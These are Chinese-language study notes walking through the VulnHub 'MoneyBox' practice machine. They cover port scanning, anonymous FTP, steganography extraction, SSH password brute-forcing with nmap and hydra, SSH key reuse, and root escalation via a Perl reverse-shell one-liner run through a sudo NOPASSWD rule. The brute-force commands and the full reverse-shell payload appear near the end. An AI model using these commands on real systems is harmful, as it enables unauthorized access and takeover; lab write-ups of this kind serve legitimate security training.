打靶笔记-01-vulnhub-moneybox
打靶笔记-01-vulnhub-moneybox
本篇笔记根据苑老师视频进行学习记录
https://www.bilibili.com/video/BV1Lv411n7Lq/?spm_id_from=333.788
一、靶机信息
Name:moneybox(Easy)
Download:http://www.vulnhub.com/entry/moneybox-1,653/
Date release:27 Feb 2021
Goal : 3 flags
二、靶机启动
2.1 校验靶机文件
sha1sum MoneyBox.ova
34959dd3b6f9a120056cf11e644e7960c9e728db MoneyBox.ova
2.1 导入Vbox,并配置网络
这个靶机适用于Vbox的,不过我kali在Vmware上,我将靶机导入进去后,将靶机的网络桥接到了Vmware的虚拟网卡vmnet8上,这样两者就在一个网段了。
2.2 打快照,启动靶机
没啥好说的,先打个快照,然后就启动靶机,就开始玩了
三、开始渗透
3.1 获取靶机IP
3.1.1 首先获取查看下kali的网卡信息
3.1.2 然后进行arp扫描
sudo arp-scan -I eth0 -l
成功获取到靶机IP为 172.16.95.137
3.2 扫描端口和服务
3.2.1 查看目标机器开放端口
sudo nmap -p- 172.16.95.137
发现端口开放:21、22、80
3.2.2 确定端口所对应的服务及版本
sudo nmap -sV -p21,22,80 172.16.95.137
确定21端口上运行的是ftp 3.0.3;22端口上运行的是OpenSSH 7.9sp1;80端口上运行的是Apache 2.4.38
3.2.3 调用nmap针对默认端口的脚本扫描漏洞
sudo nmap -p21 -sC 172.16.95.137
sudo nmap -p22 -sC 172.16.95.137
sudo nmap -p80 -sC 172.16.95.137
通过扫描可以发现:
ftp有一个匿名登陆的漏洞,而且上面还有一张图片;
OpenSSH上发现了一些Key;
http上发现了一个网页Title:Moneyox;
3.3 漏洞利用
结合扫描结果,最大的利用点就是ftp的匿名登陆,ssh虽然可以暴力破解登陆,但是在渗透前期不建议直接开始爆破,容易被发现Bind掉或导致防护,最后就是http上面或许会有漏洞或者其他信息泄漏;
3.3.1 开始尝试ftp的匿名登陆
ftp 172.16.95.137
# 账户密码均为anonymous
ls
get trytofind.jpg
exit
成功拿到一张图片
3.3.2 访问Web服务
貌似没有啥,提示这是个简单的靶机,不要想太多,emmm
查看下网页源代码,好像也没啥
那就目录扫描吧,看有没有其他路径开着其他页面
sudo dirsearch -u http://172.16.95.137/
发现一个新页面blogs,那就跟过去了,看看会有什么发现
依旧啥也没有,不过暗示这里有点提示,那就还是先从查看源代码走起
我的网页开的大,就直接看到最下面了,如果左边行数一直向下有或右边一直有滚动条,要记得拉开看,这里提示还有一个隐藏的目录S3cr3t-T3xt,这是刚刚扫描时字典里没有的,那就跟过去继续...
这回跟过去后还是查看页面源代码,发现了一个Key:
Secret Key 3xtr4ctd4t4
然后线索就断了,暂时没有别的发现了
3.3.3 爆破SSH
到目前为止,获得一张图片和一个key,都无法更进一步获得权限,所以可以尝试一下SSH爆破
# 先尝试一下root账户
echo root > user.txt
# 准备一个字典,这里直接拷贝kali里自带的一个字典出来使用,这个字典就挺大55Mb
cp /usr/share/wordlists/rockyou.txt.gz .
gunzip rockyou.txt.gz
# nmap 的ssh爆破脚本
sudo nmap --script ssh-brute --script-args userdb=user.txt,passdb=rockyou.txt 172.16.95.137
3.3.4 阶段性总结
到目前为止,依旧没有任何进展,图片,Key,SSH爆破中,好像图片中可以隐藏一些东西(这个在CTF中比较常见),所以可以先查看一下
strings trytofind.jpg
首先能看到的是,这个有点太规律了,这个对于图片来说相当不正常,说明应该是有点东西的,但是目前看到的应该不是明文,不然这样也是没有意义的,很有可能是某种隐写术;
3.3.5 尝试用隐写术解密工具进行读取隐藏的信息
这里使用steghide,需要先安装一下
sudo apt install steghide
steghide info trytofind.jpg
可以看到已经发现有嵌入的数据了,不过在尝试读取的时候需要密码,可以尝试将之前获取到的KEY输入进行看下...
密码正确,这张图片内嵌入了一个data.txt文件,然后进行提取
steghide extract -sf trytofind.jpg -p 3xtr4ctd4t4
cat data.txt
可以发现有一个用户名renu的出现,而且密码比较弱,刚才root的SSH也没有爆破出来,那么可以尝试一下这个...
3.3.6 爆破renu的弱口令密码
# 使用hydra进行破解
hydra -l renu -P rockyou.txt 172.16.95.137 ssh
可以看到很快将renu账户的ssh密码987654321爆破出来了
3.3.7 尝试登陆SSH
ssh renu@172.16.95.137
成功登陆,又进一步,进入之后开始进行信息收集
ls
pwd
uname -a
uname -r
sudo su -
...
可以看到:
renu用户是个普通用户,而且没有sudo权限
renu可以进入lily的用户目录
直接找到两个flag
3.3.8 提权
既然权限不是root,肯定是要提权了,可以通过内核漏洞或者其他方式进行提权,不过在进行这些复杂操作之前可以先浏览一下系统里能浏览的可能存在敏感信息的文件,看能不能获取些不用漏洞即可提权的信息,首先要看的就是history
history
可以看到renu进行了192.168.43.80主机SSH公钥登陆的配置,登陆账户是lily;
192.168.43.80这个是哪个主机我们不知道,但是lily好像在这台机器上也有一个;
192.168.43.80上的lily有sudo的权限;
renu可以su到本机的lily上;
那么有没有可能这两个lily是同一个机器上的,那么SSH公钥配置操作就发生在了本机,根据SSH公钥工作机制,如果renu进行了ssh-keygen -t rsa 会在renu的~/.ssh/中生成id_rsa和id_rsa.pub两个文件:
而如果renu进行了ssh-copy-id lily@192.168.43.80的操作将会把刚才生成的id_rsa.pub拷贝到192.168.43.80主机上的lily账户~/.ssh/authorized_keys文件中
既然我们怀疑192.168.43.80上的lily就是这台机器上的lily,那么lily账户下~/.ssh/authorized_keys文件中的公钥应该与renu生成的公钥一致。所以验证一下:
果然一致,那么我们可以的出如下结论:
renu可以通过SSH公钥验证的方式登陆到本机的lily的账户上,而且lily具有sudo的权限
su lily
ssh -i id_rsa lily@172.16.95.137
可以看到su的情况下要密码,lily密码不知道,无果;公钥ssh可以登陆到lily,lily虽然有sudo权限,但是也要密码,也无法进行下一步;
那就只要继续查看下lily的history,看看有没有什么惊喜:
可以看到lily进行了sudoers的编辑,有可能进行了一些配置,而且查找了一些具有suid权限的文件;
然后还执行了sudo -l ,这是可以列出当前用户的sudo权限:
sudo - l
可以看到lily配置了sudo执行perl时NOPASSWD,那么这就可以使用perl进行反弹shell了,这样就会拿到root的权限;
首先在kali上进行开启nc进行监听:
nc -lnvp 6666
然后生成一段用于反弹shell的perl指令进行sudo执行:
sudo perl -e 'use Socket;$i="172.16.95.133";$p=6666;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
记得要把$ENV{}给去掉,不然会报错
如下已经成功拿到root权限和第三个flag
OVER!!!